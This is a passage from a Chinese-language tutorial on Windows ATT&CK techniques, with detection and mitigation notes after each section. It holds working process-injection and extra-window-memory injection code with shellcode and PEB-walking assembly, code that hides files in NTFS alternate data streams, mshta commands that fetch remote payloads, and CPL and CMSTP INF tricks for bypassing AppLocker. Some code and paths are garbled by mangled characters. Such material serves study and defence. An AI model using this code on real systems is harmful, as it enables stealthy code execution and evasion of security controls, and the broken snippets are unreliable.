0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7,
0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB
};
bool inject_to_notepad()
{
bool ret = false;
PBYTE sc;
DWORD cb;
HANDLE nthd;
STARTUPINFO si;
PROCESS_INFORMATION pi;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
sc = NULL;
si.cb = sizeof(si);
if(!CreateProcess(_TEXT("c:\\windows\\system32\\notepad.exe"), NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
{
goto SAFE_EXIT;
};
sc = (PBYTE)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (sc == NULL)
{
goto SAFE_EXIT;
}
if (!WriteProcessMemory(pi.hProcess, sc, data, sizeof(data)/sizeof(char), &cb) || cb != sizeof(data)/sizeof(char))
{
goto SAFE_EXIT;
}
nthd = CreateRemoteThread(pi.hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)sc, NULL, NULL, NULL);
if (nthd == NULL)
{
goto SAFE_EXIT;
}
WaitForSingleObject(nthd, INFINITE);
ret = true;
SAFE_EXIT:
if (sc != NULL)
{
VirtualFreeEx(pi.hProcess, sc, 0, MEM_RELEASE);
}
if (pi.hProcess != NULL)
{
TerminateProcess(pi.hProcess, 0);
CloseHandle(pi.hProcess);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
inject_to_notepad();
return 0;
}
执行后情况如下：
通过Process Hacker检查一下记事本的线程，发现我们远程创建的线程已经执行，执行了MessageBox()函数
#### 检查及限制方案
##### 检查方法：
1. 通常为完成进程注入都需要执行一系列操作，放在程序中体现便是需要调用一系列相关API，在Windows系统中可以通过监控程序调用的API序列确定是否有进程注入相关操作。如CreateRemoteThread，SuspendThread / SetThreadContext / ResumeThread，QueueUserAPC / NtQueueApcThread之类的API调用可用于修改另一个进程内的内存（如WriteProcessMemory）的API调用。
2. 在Linux系统中监视特定的调用，如（例如ptrace系统调用，LD_PRELOAD环境变量的使用或dlfcn动态链接API调用），由于其专门的性质，不应生成大量数据，并且可以是检测过程注入的有效方法。
3. 监视进程和命令行参数以了解在代码注入发生之前或之后可以执行的操作，并将信息与相关事件信息相关联。还可以使用PowerShell和诸如PowerSploit 之类的工具执行代码注入，因此可能需要其他PowerShell监视才能涵盖此行为的已知实现。
##### 缓解方案：
进程注入属于滥用系统功能导致的安全问题
1. 终端行为防御：可以安装HIPS软件，监测注入过程中调用的常见API序列，来识别并阻止某些类型的进程注入操作。
2. 特权账户管理：针对Linux内核系统，通过仅限制特权用户使用ptrace来利用Yama减轻基于ptrace的进程注入。其他缓解措施包括部署安全内核模块，这些模块提供高级访问控制和流程限制，例如SELinux，grsecurity和AppAmour。
#### 参考链接
Att&CK：<https://attack.mitre.org/techniques/T1055/>
### 10、利用NTFS ADS进行数据隐藏
#### 原理及代码介绍
在NTFS文件系统中，每个NTFS格式的分区都包含一个主文件表结构（Master File
Table），这个表结构中保存了该分区上每个文件及目录的相关信息。在MFT结构中还保存着文件属性， 如 Extended Attributes (EA) 及
Data(当存在多个数据属性时称为Alternate Data Streams
，交换数据流，即ADS)，而用户可以为文件新建交换数据流，并将存储任意二进制数据在其中，如将完整的文件在其中，而在Windows系统的资源管理器中，
**载体文件不会有任何变化（如文件大小、时间戳）** ，攻击者完全可以利用该特性将 **完整的文件隐藏在交换流** 中。
ADS的应用，这里笔者将举个简单的例子进行说明， 相信读者有通过Internet
Explorer下载过可执行文件，然后在运行的时候收到如下图所示的警告，这是其实就是ADS的运用。
在文件下载完成后， IE会在文件上加入一个ADS。该ADS将存储一个标签，以便Windows了解文件是从哪个区域下载的。
可以通过Powershell和stream.exe（sysinternals工具包中有提供）来操作（ **新增** 、 **查看** 、 **修改、删除**
）文件中的ADS，用如下的命令查看
该文件是经IE下载的，其存在一个名为“Zone.Identfier”的流，其中保存了文件是从IE下载的标示，我们通过将文件复制到真机，再拖回虚拟机再看一下，可以看到同样的文件，其附加的属性已经不存在。
ADS的操作也可以通过CMD命令进行操作，其操作方法如下：
<载体文件路径>:<ADS名称>
如使用echo命令创建并写入数据到ADS中：
echo for test > sc.dat:stream
可见的是，文件大小为0。使用stream.exe可以看到存在一个名为stream的交换流
攻击者可能会将恶意数据或者二进制文件存储在文件的备用流（ADS）中，而不是直接存储在文件中，这种技术可用于 **文件隐藏** 、 **防病毒软件静态扫描**
、 **主机取证分析** 等安全手段的 **绕过** 。
如下的代码演示在ADS中隐藏完整的文件及存取等操作。
bool set_ads(TCHAR* host_file,TCHAR* payload_filepath)
{
bool ret = false;
BYTE read_buf[0x1000];
DWORD read_cb, write_cb;
TCHAR finalpath_buf[MAX_PATH * 2];
HANDLE final_handle = INVALID_HANDLE_VALUE;
HANDLE payload_handle = INVALID_HANDLE_VALUE;
wsprintf(finalpath_buf, _TEXT("%s:stream_name"), host_file);
final_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (final_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
payload_handle = CreateFile(payload_filepath, FILE_READ_ACCESS,
FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (payload_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
do
{
if (!ReadFile(payload_handle, read_buf, 0x1000, &read_cb, NULL))
{
goto SAFE_EXIT;
}
if (!WriteFile(final_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
{
goto SAFE_EXIT;
}
if (read_cb != 0x1000)
{
break;
}
} while (true);
ret = true;
SAFE_EXIT:
if (final_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(final_handle);
}
if (payload_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(payload_handle);
}
return ret;
}
bool read_ads(TCHAR* host_path, TCHAR* stream_name, TCHAR* save_path)
{
bool ret = false;
BYTE read_buf[0x1000];
DWORD read_cb, write_cb;
TCHAR finalpath_buf[MAX_PATH * 2];
HANDLE stream_handle = INVALID_HANDLE_VALUE;
HANDLE save_handle = INVALID_HANDLE_VALUE;
wsprintf(finalpath_buf, _TEXT("%s:%s"), host_path, stream_name);
stream_handle = CreateFile(finalpath_buf, FILE_ALL_ACCESS,
FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (stream_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
save_handle = CreateFile(save_path, FILE_WRITE_ACCESS,
FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (save_handle == INVALID_HANDLE_VALUE)
{
goto SAFE_EXIT;
}
do
{
if (!ReadFile(stream_handle, read_buf, 0x1000, &read_cb, NULL))
{
goto SAFE_EXIT;
}
if (!WriteFile(save_handle, read_buf, read_cb, &write_cb, NULL) && write_cb != read_cb)
{
goto SAFE_EXIT;
}
if (read_cb != 0x1000)
{
break;
}
} while (true);
ret = true;
SAFE_EXIT:
if (stream_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(stream_handle);
}
if (save_handle != INVALID_HANDLE_VALUE)
{
CloseHandle(save_handle);
}
return ret;
}
int _tmain(int argc, _TCHAR* argv[])
{
if(set_ads(_TEXT("c:\\windows\\tasks\\sc.dat"), _TEXT("help.txt")))
{
_tprintf(_TEXT("set fail!!!\r\n"));
}
if(read_ads(_TEXT("c:\\windows\\tasks\\sc.dat"),_TEXT("stream_name"), _TEXT("help_fromads.txt")))
{
_tprintf(_TEXT("read fail!!!\r\n"));
}
return 0;
}
#### 检查及限制方案
1. 通过dir /r命令可以显示目录中含有ADS的文件，在找到不合法的交换流后删除掉即可。
2. 通过Sysinternals提供的Streams工具来查询文件是否具有ADS，同时可以用该工具删除
3. 使用Powershell命令来与ADS交换和操作，如 **Get-Item** ， **Set-Item** ， **Remove-Item** 和 **Get-ChildItem** .
#### 参考链接
1. Att&ck：<https://attack.mitre.org/techniques/T1096/>
2. Microsoft ADS：<https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/>
### 11、Mshta代理执行脚本代码
#### 原理及代码介绍
Mshta.exe 是执行Microsoft HTML
应用程序（HTA）的内置工具，在Windows系统中默认自带该工具。HTA文件的扩展名为“.hta”, HTA是独立的应用程序，他们使用与Internet
Explorer相同的模型和技术执行，但是并不通过浏览器进行执行，而在浏览器之外。
攻击者可以通过制作恶意HTA文件（如带有恶意 **Javascript** 或 **VBScript**
代码执行）并调用Mshta.exe执行以绕过系统或是 **反病毒软件** 提供的 **应用程序白名单检测** 、 **数字证书验证** 等安全检查。
可以直接调用Mshta.exe并传递脚本代码进行执行：
mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
也可以调用Mshta并传递hta文件URL进行下载执行：
mshta http[:]//webserver/payload[.]hta
通过Mshta.exe代理执行脚本代码，可以用于 **绕过** 没有阻止其执行的 **应用程序白名单限制** 解决方案，由于mshta在Internet
Explorer的安全上下文之外执行，因此它也绕过了浏览器安全设置。
下面将分别列举攻击者的2种利用手段：
1、 mshta直接执行脚本代码
mshta about:”<script language = “vbscript” src=”http://127.0.0.1/test.vbs”> code </script>”
在本地搭建http服务器将test.vbs加载进去
执行CMD命令启动mshta
2、 mshta执行hta脚本文件
构建如下的HTA脚本，其中引用外部的脚本文件
执行情况如下
#### 检查及限制方案
##### 检查方法：
1. 使用进程监视工具来监视mshta.exe的执行和参数。
2. 在命令行中寻找执行原始脚本或混淆脚本的mshta.exe。
3. 将mshta.exe的最近调用与已知良好参数的历史执行记录进行对比，已确定异常和潜在的对抗活动。
##### 缓解方案：
1. 如果在特定环境中mshta.exe不是必须的， 可以考虑删除或者禁用该组件。
2. 修改系统配置或者杀软配置，阻止mshta.exe的执行，或者将该文件移除出应用程序白名单，以防止被潜在的攻击者滥用行为。
#### 参考链接
1. Att&ck：<https://attack.mitre.org/techniques/T1170/>
2. Introduction to HTML Applications (HTAs):[<https://docs.microsoft.com/en-us/previous-versions//ms536496(v=vs.85)?redirectedfrom=MSDN>]
### 12、控制面板文件代码执行
#### 原理及代码介绍
控制面板的每一项一般都会对应一个.CPL
文件,这些文件存于系统目录下,你可以指定控制面板中要显示的项目,也可以隐藏。当启动控制面板时，Windows\System 文件夹中的.cpl
文件会自动加载。
以“.CPL”扩展名结尾的文件其实是“.dll”文件，用IDA打开可以发现CPL文件都导出了一个CPLApplet函数。
函数CPLApplet是控制面板应用程序的入口点，它被控制面板管理程序自动调用，并且是个回调函数，注意：CPL文件一定要把函数CPLApplet导出，这样控制面板才能找到程序的入口点。
当启动控制面板时，它会搜索Windows或System32或注册表的相应条目目录下的文件，并把以CPL作为扩展名的文件载入，它调用CPL文件的导出函数CPLApplet（），发送消息给该函数。所以，控制面板应用程序要处理控制面板发送过来的消息，即在函数CPLApplet中进行处理，该函数没有默认的行为。如果一个CPL文件中实现了多个控制面板程序，那么只会有一个CPLApplet函数，它负责所有的控制面板应用程序。
开启默认规则后会拦截exe和脚本的执行，并没有限制CPL文件，因此可以绕过Windows AppLocker的限制规则。当然也可以绕过一些应用程序白名单
Cpl文件按照dll文件的编写就行，如果只是简单的运行cmd，可以不导出函数CPLApplet。
extern "C" __declspec(dllexport) LONG CPLApplet(HWND hwndCPl, UINT msg, LPARAM lParam1, LPARAM lParam2)
{
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
WinExec("cmd", SW_SHOW);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
编译成功后，将dll后缀名改成cpl，并修改注册表项
HKEY hKey;
DWORD dwDisposition;
char path [] = "C:\\testcpl”;
RegCreateKeyExA(HKEY_CURRENT_USER,
? "Software\\Microsoft\\Windows\\CurrentVersion\\Control Panel\\Cpls", 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition);
RegSetValueExA(hKey, “testcpl.cpl”, 0, REG_SZ, (BYTE*)path, (1 + ::lstrlenA(path))));
在控制面板被阻止打开的情况下，可以使用以下位置作为启动控制面板的替代方法。
· C:windowssystem32control.exe
· AppDataRoamingMicrosoftWindowsStart MenuProgramsAccessoriesSystem ToolsControl Panel.lnk
· shell:::{5399E694-6CE5-4D6C-8FCE-1D8870FDCBA0}
· shell:::{26EE0668-A00A-44D7-9371-BEB064C98683}
· shell:::{ED7BA470-8E54-465E-825C-99712043E01C}
· My Control Panel.{ED7BA470-8E54-465E-825C-99712043E01C}
#### 运行效果图
当运行控制面板时，cmd.exe自动启动。
#### 检查及限制方案
监视和分析与CPL文件关联的项的活动，查找系统上未注册和潜在恶意文件。
将控制面板项的存储和执行限制在受保护目录上，例如C:\Windows
#### 参考链接
<https://attack.mitre.org/techniques/T1196/>
### 13、CMSTP配置文件参数利用
#### 原理及代码介绍
CMSTP.exe是用于安装Connection
Manager服务配置文件的命令行程序。程序接受INF配置文件作为参数。这项攻击手段的关键点就在于配置文件。攻击者可能会向CMSTP.exe提供受恶意命令感染的INF文件，以脚本（SCT）和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件，位于以下两个Windows目录中：
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
AppLocker默认规则允许在这些文件夹中执行二进制文件，因此我们可以用它来作为bypass的一种方法。使用这个二进制文件可以绕过AppLocker和UAC。因为传输的并不是二进制文件，所以也会绕过一些杀软的白名单。
配置文件可以通过安装启动CMAK（Connection Manager Administration
Kit）来创建，关于CMAK可以通过[Microsoft文档](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831675\(v=ws.11\)?redirectedfrom=MSDN)进行了解。在这里就不具体演示获得INF文件的过程了，可以通过以下链接获得：[INF文件](https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf)。
INF文件的内容有很多项，我们想要利用INF文件，只需要保留一些重要的项，以下是简化的INF文件内容
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Pentestlab"
ShortSvcName="Pentestlab"
需要注意到的是INF文件的RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。
从WebDAV服务器实现加载dll需要修改下面内容：
[RegisterOCXSection]
\10.10.10.10webdavAllTheThings.dll
命令行：cmstp.exe /s c:\cmstp.inf
当然，还可以将RegisterOCXSection 换成RunPreSetupCommandsSection，在此项下可以直接执行命令程序，例如：
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
c:\windows\system32\calc.exe
taskkill /IM cmstp.exe /F
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="CorpVPN"
ShortSvcName="CorpVPN"
#### 运行效果图
如下图所示，在命令行中执行cmstp 并加入相关参数cmstpdll.inf ,我们预设的dll
就运行在了cmstp进程中，此处或许可能被恶意代码所利用，用以逃避杀软白名单检测及进程检测等
执行命令，弹出计算器：
#### 检查及限制方案
1. 使用进程监视来检测和分析CMSTP.exe的执行和参数。将最近对CMSTP.exe的调用与已知的参数和已加载文件的历史进行比较，以确定异常和潜在的对抗性活动。
2. Sysmon事件也可以用来识别CMSTP.exe的潜在威胁。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1191/>
2. <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh831675(v=ws.11)?redirectedfrom=MSDN>
3. <https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e#file-uacbypass-inf>
### 14、额外窗口内存注入
#### 原理及代码介绍
在创建窗口之前，基于图形Windows的进程必须注册一个Windows类，该类规定外观和行为。新窗口类的注册可以包括一个请求，请求将多达40个字节的额外窗口内存(EWM)附加到该类的每个实例的分配内存中。该EWM旨在存储特定于该窗口的数据，并具有特定的应用程序编程接口(API)函数来设置和获取其值。
虽然EWM很小，但它的大小足以存储32位指针，并且经常用于指向Windows过程。EWMI依赖注入到资源管理器托盘窗口内存中，并在恶意软件家族Gapz和PowerLoader中使用多次。然而，在EWM中没有太多的空间。为了规避这个限制，恶意软件将代码写入explorer.exe的共享段中，并使用SetWindowLong和SendNotifyMessage得到一个指向shellcode的函数指针，然后执行它。
当写入共享段时，恶意软件有两个选项。它能创建一个共享段自己映射到另一个进程（如explorer）中，或者打开一个已存在的共享段。前者有分配堆内存的开销，而且还要调用NtMapViewOfSection等API，因此后者更常用。在恶意代码将shellcode写入共享段后，使用GetWindowLong和SetWindowLong来访问并修改Shell_TrayWnd的额外的窗口内存。GetWindowLong是用于通过32位值作为偏移得到窗口类对象中额外窗口内存，同时使用SetWindowLong能改变指定偏移的值。通过完成这个，恶意代码能改变窗口类中的函数指针，将它指向共享段的shellcode。
和上述的技术一样，恶意软件需要触发写入的代码。有一些技术是通过调用类似CreateRemoteThread，SetThreadContext，QueueUserAPC这些API来实现的。与其他不同的是，这种技术是通过使用SendNotifyMessage或PostMessage来触发代码执行的。
一旦执行SendNotifyMessage或PostMessage，Shell_TrayWnd将接收到并将控制移交给SetWindowLong设置的地址。
主程序源代码如下：
HANDLE g_hprocess = NULL;
unsigned char shellcode[100] = { 0, };
DWORD shellcodeSize = sizeof(shellcode);
PVOID mapshellocdeprocess()
{
HANDLE hSection = NULL;
OBJECT_ATTRIBUTES hAttributes;
memset(&hAttributes, 0, sizeof(OBJECT_ATTRIBUTES));
LARGE_INTEGER maxSize;
maxSize.HighPart = 0;
// 保存壳代码与指针
maxSize.LowPart = sizeof(LONG) * 2 + shellcodeSize;
NTSTATUS status = NULL;
if ((status = ZwCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &maxSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS)
{
printf("[ERROR] ZwCreateSection failed, status : %x\n", status);
return NULL;
}
PVOID sectionBaseAddress = NULL;
ULONG viewSize = 0;
SECTION_INHERIT inheritDisposition = ViewShare; //VIEW_SHARE
// 映射
if ((status = NtMapViewOfSection(hSection, GetCurrentProcess(), §ionBaseAddress, NULL, NULL, NULL, &viewSize, inheritDisposition, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
printf("Section BaseAddress: %p\n", sectionBaseAddress);
// 切换到映射
PVOID sectionBaseAddress2 = NULL;
if ((status = NtMapViewOfSection(hSection, g_hprocess, §ionBaseAddress2, NULL, NULL, NULL, &viewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS)
{
printf("[ERROR] NtMapViewOfSection failed, status : %x\n", status);
return NULL;
}
LPVOID shellcode_remote_ptr = sectionBaseAddress2;
LPVOID shellcode_local_ptr = sectionBaseAddress;
memcpy(shellcode_local_ptr, shellcode, shellcodeSize);
printf("Shellcode copied!\n");
LPVOID handles_remote_ptr = (BYTE*)shellcode_remote_ptr + shellcodeSize;
LPVOID handles_local_ptr = (BYTE*)shellcode_local_ptr + shellcodeSize;
PVOID buf_va = (BYTE*)handles_remote_ptr;
LONG hop1 = (LONG)buf_va + sizeof(LONG);
LONG shellc_va = (LONG)shellcode_remote_ptr;
memcpy((BYTE*)handles_local_ptr, &hop1, sizeof(LONG));
memcpy((BYTE*)handles_local_ptr + sizeof(LONG), &shellc_va, sizeof(LONG));
//u nmap from the context of current process
ZwUnmapViewOfSection(GetCurrentProcess(), sectionBaseAddress);
ZwClose(hSection);
printf("Section mapped at address: %p\n", sectionBaseAddress2);
return shellcode_remote_ptr;
}
int main()
{
// 查找Shell_TrayWnd 外壳类，主要是管理
HWND hWnd =
FindWindow(
L"Shell_TrayWnd",
NULL
);
if (hWnd == NULL)
return -1;
DWORD pid = 0;
LONG nwlong = 0;
nwlong = GetWindowThreadProcessId(hWnd, &pid);
// 打开Shell_TrayWnd
g_hprocess =
OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE,
false,
pid
);
if (g_hprocess == NULL)
return 0;
// 映射shellcode
LPVOID remoteshellcodeptr = mapshellocdeprocess();
// 设置到额外的窗口内存中
SetWindowLong(
hWnd,
0,
/*参数三替换值shellcodeptr*/
(LONG)remoteshellcodeptr
);
// 调用窗口过程也就是发送执行shellcode
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
// 这里先sleep等待执行
Sleep(5000);
// 恢复原来得数据
SetWindowLong(hWnd, 0, nwlong);
SendNotifyMessage(hWnd, WM_PAINT, 0, 0);
CloseHandle(g_hprocess);
}
Payload：
LRESULT CALLBACK SubclassProc(HWND hWnd, UINT uMsg, WPARAM wParam,
LPARAM lParam) {
if (uMsg != WM_CLOSE) return 0;
WinExec_t pWinExec;
DWORD szWinExec[2],
szNotepad[3];
// WinExec
szWinExec[0] = 0x456E6957;
szWinExec[1] = 0x00636578;
// runs notepad
szNotepad[0] = *(DWORD*)"note";
szNotepad[1] = *(DWORD*)"pad\0";
pWinExec = (WinExec_t)puGetProcAddress(szWinExec);
if (pWinExec != NULL) {
pWinExec((LPSTR)szNotepad, SW_SHOW);
}
return 0;
}
因为需要从OD中复制出来shellcode，放入字符串数组中运行。
所以模块基址的获取和函数的获取需要使用汇编自己获取。
// ===================获取模块基址============================
DWORD puGetModule(const DWORD Hash)
{
DWORD nDllBase = 0;
__asm {
jmp start
/*函数1：遍历PEB_LDR_DATA链表HASH加密*/
GetModulVA :
push ebp;
mov ebp, esp;
sub esp, 0x20;
push edx;
push ebx;
push edi;
push esi;
mov ecx, 8;
mov eax, 0CCCCCCCCh;
lea edi, dword ptr[ebp - 0x20];
rep stos dword ptr es : [edi];
mov esi, dword ptr fs : [0x30];
mov esi, dword ptr[esi + 0x0C];
mov esi, dword ptr[esi + 0x1C];
tag_Modul:
mov dword ptr[ebp - 0x8], esi; // 保存LDR_DATA_LIST_ENTRY
mov ebx, dword ptr[esi + 0x20]; // DLL的名称指针(应该指向一个字符串)
mov eax, dword ptr[ebp + 0x8];
push eax;
push ebx; // +0xC
call HashModulVA;
test eax, eax;
jnz _ModulSucess;
mov esi, dword ptr[ebp - 0x8];
mov esi, [esi]; // 遍历下一个
LOOP tag_Modul
_ModulSucess :
mov esi, dword ptr[ebp - 0x8];
mov eax, dword ptr[esi + 0x8];
pop esi;
pop edi;
pop ebx;
pop edx;
mov esp, ebp;
pop ebp;
ret
/*函数2：HASH解密算法（宽字符解密）*/
HashModulVA :
push ebp;
mov ebp, esp;
sub esp, 0x04;
mov dword ptr[ebp - 0x04], 0x00
push ebx;
push ecx;
push edx;
push esi;
// 获取字符串开始计算
mov esi, [ebp + 0x8];
test esi, esi;
jz tag_failuers;
xor ecx, ecx;
xor eax, eax;
tag_loops:
mov al, [esi + ecx]; // 获取字节加密
test al, al; // 0则退出
jz tag_ends;
mov ebx, [ebp - 0x04];
shl ebx, 0x19;
mov edx, [ebp - 0x04];
shr edx, 0x07;
or ebx, edx;
add ebx, eax;
mov[ebp - 0x4], ebx;
inc ecx;
inc ecx;
jmp tag_loops;
tag_ends:
mov ebx, [ebp + 0x0C]; // 获取HASH
mov edx, [ebp - 0x04];
xor eax, eax;
cmp ebx, edx;
jne tag_failuers;
mov eax, 1;
jmp tag_funends;
tag_failuers:
mov eax, 0;
tag_funends:
pop esi;
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
ret 0x08
start:
/*主模块*/
pushad;
push Hash;
call GetModulVA;
add esp, 0x4
mov nDllBase, eax;
popad;
}
return nDllBase;
}
// ===================获取函数地址============================
DWORD puGetProcAddress(const DWORD dllvalues, const DWORD Hash)
{
DWORD FunctionAddress = 0;
__asm {
jmp start
// 自定义函数计算Hash且对比返回正确的函数
GetHashFunVA :
push ebp;
mov ebp, esp;
sub esp, 0x30;
push edx;
push ebx;
push esi;
push edi;
lea edi, dword ptr[ebp - 0x30];
mov ecx, 12;
mov eax, 0CCCCCCCCh;
rep stos dword ptr es : [edi];
// 以上开辟栈帧操作（Debug版本模式）
mov eax, [ebp + 0x8]; // ☆ kernel32.dll(MZ)
mov dword ptr[ebp - 0x8], eax;
mov ebx, [ebp + 0x0c]; // ☆ GetProcAddress Hash值
mov dword ptr[ebp - 0x0c], ebx;
// 获取PE头与RVA及ENT
mov edi, [eax + 0x3C]; // e_lfanew
lea edi, [edi + eax]; // e_lfanew + MZ = PE
mov dword ptr[ebp - 0x10], edi; // ☆ 保存PE（VA）
// 获取ENT
mov edi, dword ptr[edi + 0x78]; // 获取导出表RVA
lea edi, dword ptr[edi + eax]; // 导出表VA
mov[ebp - 0x14], edi; // ☆ 保存导出表VA
// 获取函数名称数量
mov ebx, [edi + 0x18];
mov dword ptr[ebp - 0x18], ebx; // ☆ 保存函数名称数量
// 获取ENT
mov ebx, [edi + 0x20]; // 获取ENT(RVA)
lea ebx, [eax + ebx]; // 获取ENT(VA)
mov dword ptr[ebp - 0x20], ebx; // ☆ 保存ENT(VA)
// 遍历ENT 解密哈希值对比字符串
mov edi, dword ptr[ebp - 0x18];
mov ecx, edi;
xor esi, esi;
mov edi, dword ptr[ebp - 0x8];
jmp _WHILE;
// 外层大循环
_WHILE :
mov edx, dword ptr[ebp + 0x0c]; // HASH
push edx;
mov edx, dword ptr[ebx + esi * 4]; // 获取第一个函数名称的RVA
lea edx, [edi + edx]; // 获取一个函数名称的VA地址
push edx; // ENT表中第一个字符串地址
call _STRCMP;
cmp eax, 0;
jnz _SUCESS;
inc esi;
LOOP _WHILE;
jmp _ProgramEnd;
// 对比成功之后获取循环次数（下标）cx保存下标数
_SUCESS :
// 获取EOT导出序号表内容
mov ecx, esi;
mov ebx, dword ptr[ebp - 0x14];
mov esi, dword ptr[ebx + 0x24];
mov ebx, dword ptr[ebp - 0x8];
lea esi, [esi + ebx]; // 获取EOT的VA
xor edx, edx;
mov dx, [esi + ecx * 2]; // 注意双字 获取序号
// 获取EAT地址表RVA
mov esi, dword ptr[ebp - 0x14]; // Export VA
mov esi, [esi + 0x1C];
mov ebx, dword ptr[ebp - 0x8];
lea esi, [esi + ebx]; // 获取EAT的VA
mov eax, [esi + edx * 4]; // 返回值eax（GetProcess地址）
lea eax, [eax + ebx];
jmp _ProgramEnd;
_ProgramEnd:
pop edi;
pop esi;
pop ebx;
pop edx;
mov esp, ebp;
pop ebp;
ret 0x8;
// 循环对比HASH值
_STRCMP:
push ebp;
mov ebp, esp;
sub esp, 0x04;
mov dword ptr[ebp - 0x04], 0x00;
push ebx;
push ecx;
push edx;
push esi;
// 获取字符串开始计算
mov esi, [ebp + 0x8];
xor ecx, ecx;
xor eax, eax;
tag_loop:
mov al, [esi + ecx]; // 获取字节加密
test al, al; // 0则退出
jz tag_end;
mov ebx, [ebp - 0x04];
shl ebx, 0x19;
mov edx, [ebp - 0x04];
shr edx, 0x07;
or ebx, edx;
add ebx, eax;
mov[ebp - 0x4], ebx;
inc ecx;
jmp tag_loop;
tag_end :
mov ebx, [ebp + 0x0C]; // 获取HASH
mov edx, [ebp - 0x04];
xor eax, eax;
cmp ebx, edx;
jne tag_failuer;
mov eax, 1;
jmp tag_funend;
tag_failuer:
mov eax, 0;
tag_funend:
pop esi;
pop edx;
pop ecx;
pop ebx;
mov esp, ebp;
pop ebp;
ret 0x08
start:
pushad;
push Hash; // Hash加密的函数名称
push dllvalues; // 模块基址.dll
call GetHashFunVA; // GetProcess
mov FunctionAddress, eax; // ☆ 保存地址
popad;
}
return FunctionAddress;
}
#### 运行效果图
当主程序执行时，记事本就会运行，并通过进程树发现，记事本作为explorer.exe的子进程在运行。
#### 检查及限制方案
监视操作EWM(如GetWindowLong和SetWindowLong)相关的API调用。
#### 参考链接
<https://attack.mitre.org/techniques/T1181/>
### 15、修改文件权限
#### 原理及代码介绍
文件和目录权限通常由文件或目录所有者指定的自主访问控制列表(DACL)管理。自主访问控制列表(DACL)是一个最普遍类型的访问控制列表(ACL)。在一个DACL(Discretionary
Access Control
List)中,指出了允许和拒绝某用户或用户组的存取控制列表。当一个进程需要访问安全对象时，系统就会检查DACL来决定进程的访问权。如果一个对象没有DACL,则说明任何人对这个对象都可以拥有完全的访问权限。
用户可以使用attrib.exe二进制文件修改特定文件的属性。简单地命令`attrib +h filename`，就是隐藏文件。
攻击者可以通过修改文件或目录的权限和属性以攻破DACL的设置。著名的WannaCry 就使用了`attrib +h`和`icacls . /grant
Everyone:F /T /C /Q` 隐藏其某些文件并授予所有用户完全访问控制权限
对ICacls详细参数可参考：
对attrib详细参数可参考：
从这些功能上看，通过修改文件属性和权限，可以针对绕过文件监视，文件系统访问控制。
#### 运行效果图
ICacls查看目录和文件的权限
隐藏文件
#### 检查及限制方案
1. 监视和调查修改DACL和文件/目录所有权的操作，例如icacls的使用。
2. 考虑对二进制或配置文件的目录权限更改进行审核。
3. 修改DACL时使用Windows安全日志记录事件。
#### 参考链接
1. <https://attack.mitre.org/techniques/T1222/>
2. <https://baike.baidu.com/item/Icacls/2169532?fr=aladdin>
